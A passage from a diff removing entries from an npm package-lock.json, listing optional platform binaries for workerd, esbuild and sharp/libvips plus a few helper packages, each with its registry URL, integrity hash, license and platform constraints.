- "version": "1.20251011.0", - "resolved": "https://registry.npmjs.org/@cloudflare/workerd-darwin-arm64/-/workerd-darwin-arm64-1.20251011.0.tgz", - "integrity": "sha512-1WuFBGwZd15p4xssGN/48OE2oqokIuc51YvHvyNivyV8IYnAs3G9bJNGWth1X7iMDPe4g44pZrKhRnISS2+5dA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=16" - } - }, - "node_modules/@cloudflare/workerd-linux-64": { - "version": "1.20251011.0", - "resolved": "https://registry.npmjs.org/@cloudflare/workerd-linux-64/-/workerd-linux-64-1.20251011.0.tgz", - "integrity": "sha512-BccMiBzFlWZyFghIw2szanmYJrJGBGHomw2y/GV6pYXChFzMGZkeCEMfmCyJj29xczZXxcZmUVJxNy4eJxO8QA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=16" - } - }, - "node_modules/@cloudflare/workerd-linux-arm64": { - "version": "1.20251011.0", - "resolved": "https://registry.npmjs.org/@cloudflare/workerd-linux-arm64/-/workerd-linux-arm64-1.20251011.0.tgz", - "integrity": "sha512-79o/216lsbAbKEVDZYXR24ivEIE2ysDL9jvo0rDTkViLWju9dAp3CpyetglpJatbSi3uWBPKZBEOqN68zIjVsQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=16" - } - }, - "node_modules/@cloudflare/workerd-windows-64": { - "version": "1.20251011.0", - "resolved": "https://registry.npmjs.org/@cloudflare/workerd-windows-64/-/workerd-windows-64-1.20251011.0.tgz", - "integrity": "sha512-RIXUQRchFdqEvaUqn1cXZXSKjpqMaSaVAkI5jNZ8XzAw/bw2bcdOVUtakrflgxDprltjFb0PTNtuss1FKtH9Jg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=16" - } - }, - "node_modules/@cspotcode/source-map-support": { - "version": "0.8.1", - "resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz", - "integrity": "sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/trace-mapping": "0.3.9" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/@emnapi/runtime": { - "version": "1.6.0", - "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.6.0.tgz", - "integrity": "sha512-obtUmAHTMjll499P+D9A3axeJFlhdjOWdKUNs/U6QIGT7V5RjcUW1xToAzjvmgTSQhDbYn/NwfTRoJcQ2rNBxA==", - "dev": true, - "license": "MIT", - "optional": true, - "dependencies": { - "tslib": "^2.4.0" - } - }, - "node_modules/@esbuild/aix-ppc64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.4.tgz", - "integrity": "sha512-1VCICWypeQKhVbE9oW/sJaAmjLxhVqacdkvPLEjwlttjfwENRSClS8EjBz0KzRyFSCPDIkuXW34Je/vk7zdB7Q==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "aix" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.4.tgz", - "integrity": "sha512-QNdQEps7DfFwE3hXiU4BZeOV68HHzYwGd0Nthhd3uCkkEKK7/R6MTgM0P7H7FAs5pU/DIWsviMmEGxEoxIZ+ZQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.4.tgz", - "integrity": "sha512-bBy69pgfhMGtCnwpC/x5QhfxAz/cBgQ9enbtwjf6V9lnPI/hMyT9iWpR1arm0l3kttTr4L0KSLpKmLp/ilKS9A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-x64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.4.tgz", - "integrity": "sha512-TVhdVtQIFuVpIIR282btcGC2oGQoSfZfmBdTip2anCaVYcqWlZXGcdcKIUklfX2wj0JklNYgz39OBqh2cqXvcQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-arm64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.4.tgz", - "integrity": "sha512-Y1giCfM4nlHDWEfSckMzeWNdQS31BQGs9/rouw6Ub91tkK79aIMTH3q9xHvzH8d0wDru5Ci0kWB8b3up/nl16g==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-x64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.4.tgz", - "integrity": "sha512-CJsry8ZGM5VFVeyUYB3cdKpd/H69PYez4eJh1W/t38vzutdjEjtP7hB6eLKBoOdxcAlCtEYHzQ/PJ/oU9I4u0A==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-arm64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.25.4.tgz", - "integrity": "sha512-yYq+39NlTRzU2XmoPW4l5Ifpl9fqSk0nAJYM/V/WUGPEFfek1epLHJIkTQM6bBs1swApjO5nWgvr843g6TjxuQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-x64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.25.4.tgz", - "integrity": "sha512-0FgvOJ6UUMflsHSPLzdfDnnBBVoCDtBTVyn/MrWloUNvq/5SFmh13l3dvgRPkDihRxb77Y17MbqbCAa2strMQQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.25.4.tgz", - "integrity": "sha512-kro4c0P85GMfFYqW4TWOpvmF8rFShbWGnrLqlzp4X1TNWjRY3JMYUfDCtOxPKOIY8B0WC8HN51hGP4I4hz4AaQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.25.4.tgz", - "integrity": "sha512-+89UsQTfXdmjIvZS6nUnOOLoXnkUTB9hR5QAeLrQdzOSWZvNSAXAtcRDHWtqAUtAmv7ZM1WPOOeSxDzzzMogiQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ia32": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.25.4.tgz", - "integrity": "sha512-yTEjoapy8UP3rv8dB0ip3AfMpRbyhSN3+hY8mo/i4QXFeDxmiYbEKp3ZRjBKcOP862Ua4b1PDfwlvbuwY7hIGQ==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-loong64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.25.4.tgz", - "integrity": "sha512-NeqqYkrcGzFwi6CGRGNMOjWGGSYOpqwCjS9fvaUlX5s3zwOtn1qwg1s2iE2svBe4Q/YOG1q6875lcAoQK/F4VA==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-mips64el": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.25.4.tgz", - "integrity": "sha512-IcvTlF9dtLrfL/M8WgNI/qJYBENP3ekgsHbYUIzEzq5XJzzVEV/fXY9WFPfEEXmu3ck2qJP8LG/p3Q8f7Zc2Xg==", - "cpu": [ - "mips64el" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ppc64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.25.4.tgz", - "integrity": "sha512-HOy0aLTJTVtoTeGZh4HSXaO6M95qu4k5lJcH4gxv56iaycfz1S8GO/5Jh6X4Y1YiI0h7cRyLi+HixMR+88swag==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-riscv64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.25.4.tgz", - "integrity": "sha512-i8JUDAufpz9jOzo4yIShCTcXzS07vEgWzyX3NH2G7LEFVgrLEhjwL3ajFE4fZI3I4ZgiM7JH3GQ7ReObROvSUA==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-s390x": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.25.4.tgz", - "integrity": "sha512-jFnu+6UbLlzIjPQpWCNh5QtrcNfMLjgIavnwPQAfoGx4q17ocOU9MsQ2QVvFxwQoWpZT8DvTLooTvmOQXkO51g==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-x64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.25.4.tgz", - "integrity": "sha512-6e0cvXwzOnVWJHq+mskP8DNSrKBr1bULBvnFLpc1KY+d+irZSgZ02TGse5FsafKS5jg2e4pbvK6TPXaF/A6+CA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-arm64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.25.4.tgz", - "integrity": "sha512-vUnkBYxZW4hL/ie91hSqaSNjulOnYXE1VSLusnvHg2u3jewJBz3YzB9+oCw8DABeVqZGg94t9tyZFoHma8gWZQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-x64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.25.4.tgz", - "integrity": "sha512-XAg8pIQn5CzhOB8odIcAm42QsOfa98SBeKUdo4xa8OvX8LbMZqEtgeWE9P/Wxt7MlG2QqvjGths+nq48TrUiKw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-arm64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.25.4.tgz", - "integrity": "sha512-Ct2WcFEANlFDtp1nVAXSNBPDxyU+j7+tId//iHXU2f/lN5AmO4zLyhDcpR5Cz1r08mVxzt3Jpyt4PmXQ1O6+7A==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-x64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.25.4.tgz", - "integrity": "sha512-xAGGhyOQ9Otm1Xu8NT1ifGLnA6M3sJxZ6ixylb+vIUVzvvd6GOALpwQrYrtlPouMqd/vSbgehz6HaVk4+7Afhw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/sunos-x64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.25.4.tgz", - "integrity": "sha512-Mw+tzy4pp6wZEK0+Lwr76pWLjrtjmJyUB23tHKqEDP74R3q95luY/bXqXZeYl4NYlvwOqoRKlInQialgCKy67Q==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "sunos" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-arm64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.25.4.tgz", - "integrity": "sha512-AVUP428VQTSddguz9dO9ngb+E5aScyg7nOeJDrF1HPYu555gmza3bDGMPhmVXL8svDSoqPCsCPjb265yG/kLKQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-ia32": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.25.4.tgz", - "integrity": "sha512-i1sW+1i+oWvQzSgfRcxxG2k4I9n3O9NRqy8U+uugaT2Dy7kLO9Y7wI72haOahxceMX8hZAzgGou1FhndRldxRg==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-x64": { - "version": "0.25.4", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.25.4.tgz", - "integrity": "sha512-nOT2vZNw6hJ+z43oP1SPea/G/6AbN6X+bGNhNuq8NtRHy4wsMhw765IKLNmnjek7GvjWBYQ8Q5VBoYTFg9y1UQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@img/sharp-darwin-arm64": { - "version": "0.33.5", - "resolved": "https://registry.npmjs.org/@img/sharp-darwin-arm64/-/sharp-darwin-arm64-0.33.5.tgz", - "integrity": "sha512-UT4p+iz/2H4twwAoLCqfA9UH5pI6DggwKEGuaPy7nCVQ8ZsiY5PIcrRvD1DzuY3qYL07NtIQcWnBSY/heikIFQ==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-darwin-arm64": "1.0.4" - } - }, - "node_modules/@img/sharp-darwin-x64": { - "version": "0.33.5", - "resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.33.5.tgz", - "integrity": "sha512-fyHac4jIc1ANYGRDxtiqelIbdWkIuQaI84Mv45KvGRRxSAa7o7d1ZKAOBaYbnepLC1WqxfpimdeWfvqqSGwR2Q==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-darwin-x64": "1.0.4" - } - }, - "node_modules/@img/sharp-libvips-darwin-arm64": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.0.4.tgz", - "integrity": "sha512-XblONe153h0O2zuFfTAbQYAX2JhYmDHeWikp1LM9Hul9gVPjFY427k6dFEcOL72O01QxQsWi761svJ/ev9xEDg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "darwin" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-libvips-darwin-x64": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.0.4.tgz", - "integrity": "sha512-xnGR8YuZYfJGmWPvmlunFaWJsb9T/AO2ykoP3Fz/0X5XV2aoYBPkX6xqCQvUTKKiLddarLaxpzNe+b1hjeWHAQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "darwin" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-libvips-linux-arm": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.0.5.tgz", - "integrity": "sha512-gvcC4ACAOPRNATg/ov8/MnbxFDJqf/pDePbBnuBDcjsI8PssmjoKMAz4LtLaVi+OnSb5FK/yIOamqDwGmXW32g==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "linux" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-libvips-linux-arm64": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.0.4.tgz", - "integrity": "sha512-9B+taZ8DlyyqzZQnoeIvDVR/2F4EbMepXMc/NdVbkzsJbzkUjhXv/70GQJ7tdLA4YJgNP25zukcxpX2/SueNrA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "linux" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-libvips-linux-s390x": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-s390x/-/sharp-libvips-linux-s390x-1.0.4.tgz", - "integrity": "sha512-u7Wz6ntiSSgGSGcjZ55im6uvTrOxSIS8/dgoVMoiGE9I6JAfU50yH5BoDlYA1tcuGS7g/QNtetJnxA6QEsCVTA==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "linux" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-libvips-linux-x64": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-x64/-/sharp-libvips-linux-x64-1.0.4.tgz", - "integrity": "sha512-MmWmQ3iPFZr0Iev+BAgVMb3ZyC4KeFc3jFxnNbEPas60e1cIfevbtuyf9nDGIzOaW9PdnDciJm+wFFaTlj5xYw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "linux" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-libvips-linuxmusl-arm64": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-arm64/-/sharp-libvips-linuxmusl-arm64-1.0.4.tgz", - "integrity": "sha512-9Ti+BbTYDcsbp4wfYib8Ctm1ilkugkA/uscUn6UXK1ldpC1JjiXbLfFZtRlBhjPZ5o1NCLiDbg8fhUPKStHoTA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "linux" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-libvips-linuxmusl-x64": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linuxmusl-x64/-/sharp-libvips-linuxmusl-x64-1.0.4.tgz", - "integrity": "sha512-viYN1KX9m+/hGkJtvYYp+CCLgnJXwiQB39damAO7WMdKWlIhmYTfHjwSbQeUK/20vY154mwezd9HflVFM1wVSw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "LGPL-3.0-or-later", - "optional": true, - "os": [ - "linux" - ], - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-linux-arm": { - "version": "0.33.5", - "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm/-/sharp-linux-arm-0.33.5.tgz", - "integrity": "sha512-JTS1eldqZbJxjvKaAkxhZmBqPRGmxgu+qFKSInv8moZ2AmT5Yib3EQ1c6gp493HvrvV8QgdOXdyaIBrhvFhBMQ==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-linux-arm": "1.0.5" - } - }, - "node_modules/@img/sharp-linux-arm64": { - "version": "0.33.5", - "resolved": "https://registry.npmjs.org/@img/sharp-linux-arm64/-/sharp-linux-arm64-0.33.5.tgz", - "integrity": "sha512-JMVv+AMRyGOHtO1RFBiJy/MBsgz0x4AWrT6QoEVVTyh1E39TrCUpTRI7mx9VksGX4awWASxqCYLCV4wBZHAYxA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-linux-arm64": "1.0.4" - } - }, - "node_modules/@img/sharp-linux-s390x": { - "version": "0.33.5", - "resolved": "https://registry.npmjs.org/@img/sharp-linux-s390x/-/sharp-linux-s390x-0.33.5.tgz", - "integrity": "sha512-y/5PCd+mP4CA/sPDKl2961b+C9d+vPAveS33s6Z3zfASk2j5upL6fXVPZi7ztePZ5CuH+1kW8JtvxgbuXHRa4Q==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-linux-s390x": "1.0.4" - } - }, - "node_modules/@img/sharp-linux-x64": { - "version": "0.33.5", - "resolved": "https://registry.npmjs.org/@img/sharp-linux-x64/-/sharp-linux-x64-0.33.5.tgz", - "integrity": "sha512-opC+Ok5pRNAzuvq1AG0ar+1owsu842/Ab+4qvU879ippJBHvyY5n2mxF1izXqkPYlGuP/M556uh53jRLJmzTWA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-linux-x64": "1.0.4" - } - }, - "node_modules/@img/sharp-linuxmusl-arm64": { - "version": "0.33.5", - "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-arm64/-/sharp-linuxmusl-arm64-0.33.5.tgz", - "integrity": "sha512-XrHMZwGQGvJg2V/oRSUfSAfjfPxO+4DkiRh6p2AFjLQztWUuY/o8Mq0eMQVIY7HJ1CDQUJlxGGZRw1a5bqmd1g==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-linuxmusl-arm64": "1.0.4" - } - }, - "node_modules/@img/sharp-linuxmusl-x64": { - "version": "0.33.5", - "resolved": "https://registry.npmjs.org/@img/sharp-linuxmusl-x64/-/sharp-linuxmusl-x64-0.33.5.tgz", - "integrity": "sha512-WT+d/cgqKkkKySYmqoZ8y3pxx7lx9vVejxW/W4DOFMYVSkErR+w7mf2u8m/y4+xHe7yY9DAXQMWQhpnMuFfScw==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "Apache-2.0", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - }, - "optionalDependencies": { - "@img/sharp-libvips-linuxmusl-x64": "1.0.4" - } - }, - "node_modules/@img/sharp-wasm32": { - "version": "0.33.5", - "resolved": "https://registry.npmjs.org/@img/sharp-wasm32/-/sharp-wasm32-0.33.5.tgz", - "integrity": "sha512-ykUW4LVGaMcU9lu9thv85CbRMAwfeadCJHRsg2GmeRa/cJxsVY9Rbd57JcMxBkKHag5U/x7TSBpScF4U8ElVzg==", - "cpu": [ - "wasm32" - ], - "dev": true, - "license": "Apache-2.0 AND LGPL-3.0-or-later AND MIT", - "optional": true, - "dependencies": { - "@emnapi/runtime": "^1.2.0" - }, - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-win32-ia32": { - "version": "0.33.5", - "resolved": "https://registry.npmjs.org/@img/sharp-win32-ia32/-/sharp-win32-ia32-0.33.5.tgz", - "integrity": "sha512-T36PblLaTwuVJ/zw/LaH0PdZkRz5rd3SmMHX8GSmR7vtNSP5Z6bQkExdSK7xGWyxLw4sUknBuugTelgw2faBbQ==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "Apache-2.0 AND LGPL-3.0-or-later", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@img/sharp-win32-x64": { - "version": "0.33.5", - "resolved": "https://registry.npmjs.org/@img/sharp-win32-x64/-/sharp-win32-x64-0.33.5.tgz", - "integrity": "sha512-MpY/o8/8kj+EcnxwvrP4aTJSWw/aZ7JIGR4aBeZkZw5B7/Jn+tY9/VNwtcoGmdT7GfggGIU4kygOMSbYnOrAbg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "Apache-2.0 AND LGPL-3.0-or-later", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": "^18.17.0 || ^20.3.0 || >=21.0.0" - }, - "funding": { - "url": "https://opencollective.com/libvips" - } - }, - "node_modules/@jridgewell/resolve-uri": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz", - "integrity": "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@jridgewell/sourcemap-codec": { - "version": "1.5.5", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.5.tgz", - "integrity": "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==", - "dev": true, - "license": "MIT" - }, - "node_modules/@jridgewell/trace-mapping": { - "version": "0.3.9", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.9.tgz", - "integrity": "sha512-3Belt6tdc8bPgAtbcmdtNJlirVoTmEb5e2gC94PnkwEW9jI6CAHUeoG85tjWP5WquqfavoMtMwiG4P926ZKKuQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@jridgewell/resolve-uri": "^3.0.3", - "@jridgewell/sourcemap-codec": "^1.4.10" - } - }, - "node_modules/@poppinss/colors": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@poppinss/colors/-/colors-4.1.5.tgz", - "integrity": "sha512-FvdDqtcRCtz6hThExcFOgW0cWX+xwSMWcRuQe5ZEb2m7cVQOAVZOIMt+/v9RxGiD9/OY16qJBXK4CVKWAPalBw==", - "dev": true, - "license": "MIT", - "dependencies": { - "kleur": "^4.1.5" - } - }, - "node_modules/@poppinss/dumper": { - "version": "0.6.4", - "resolved": "https://registry.npmjs.org/@poppinss/dumper/-/dumper-0.6.4.tgz", - "integrity": 